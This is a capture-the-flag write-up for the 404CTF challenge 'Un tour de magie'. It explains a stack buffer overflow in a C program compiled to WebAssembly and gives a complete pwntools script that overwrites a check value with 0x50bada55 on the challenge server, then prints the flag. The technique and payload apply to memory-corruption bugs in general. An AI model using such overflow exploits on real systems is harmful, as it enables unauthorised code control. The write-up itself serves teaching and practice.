Un tour de magie
In this challenge, we are given this zip file containing the source code and the compiled code.
The compiled code is a WASM
file. WASM
stands for WebAssembly
, which is a binary instruction format designed for the web. WebAssembly
is a low-level virtual machine that is designed to run efficiently on web browsers and provides a portable execution environment for web applications. It allows developers to write code in languages such as C
, C++
, and Rust
and compile them into WebAssembly
, which can then be executed in a web browser alongside JavaScript.
How to exploit
As we can see in the main source code, we have an input
variable that is of length 20
, but then the fgets
take an input of 200
… There should be a possibility of buffer overflow here…
We can first try to run with 21 A
s, but we get the following error:
This is because we didn’t change the value of check
:
We can try to add more characters, and when we get to 23
, we get the result:
Which comes from:
Create our payload
Now that we managed to modify the address of check, we need to modify it to 0x50bada55
to be able to get the flag. So let’s try to put 19 A
s and 4 B
s where the B
s are representing the address of check
that we need to override:
As we can see, we don’t have all the B
s (42) at the end. So let’s put 18 A
s, 4 B
s and 1 C
:
As we can see, we have two B
s instead of one. We do the same thing until we get to 16 A
s, 4 B
and 3 C
s:
And now we have all the B
s. We can now use the following code to do the same thing but automatically and send the payload to the netcat server!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
# Establish the connection to the vulnerable C program
#io = process(['./wasmtime', 'main.wasm'])
io = remote("challenges.404ctf.fr", 30274)
# Craft the payload to set *check to 0x50bada55
payload = b'A' * 16 + p32(0x50bada55) + b"C" *3
print(io.recvline())
# Send the payload to the program
io.sendline(payload)
# Receive and print the program's output
output = io.recvline()
print(output)
if (b"Apparemment non" not in output):
output = io.recvall()
print("Flag :", output.decode())
# Close the connection
io.close()
We get the following result:
The flag is 404CTF{W0w_St4Ck_3cR4s3_l4_H34P_Qu3LL3_M4G13}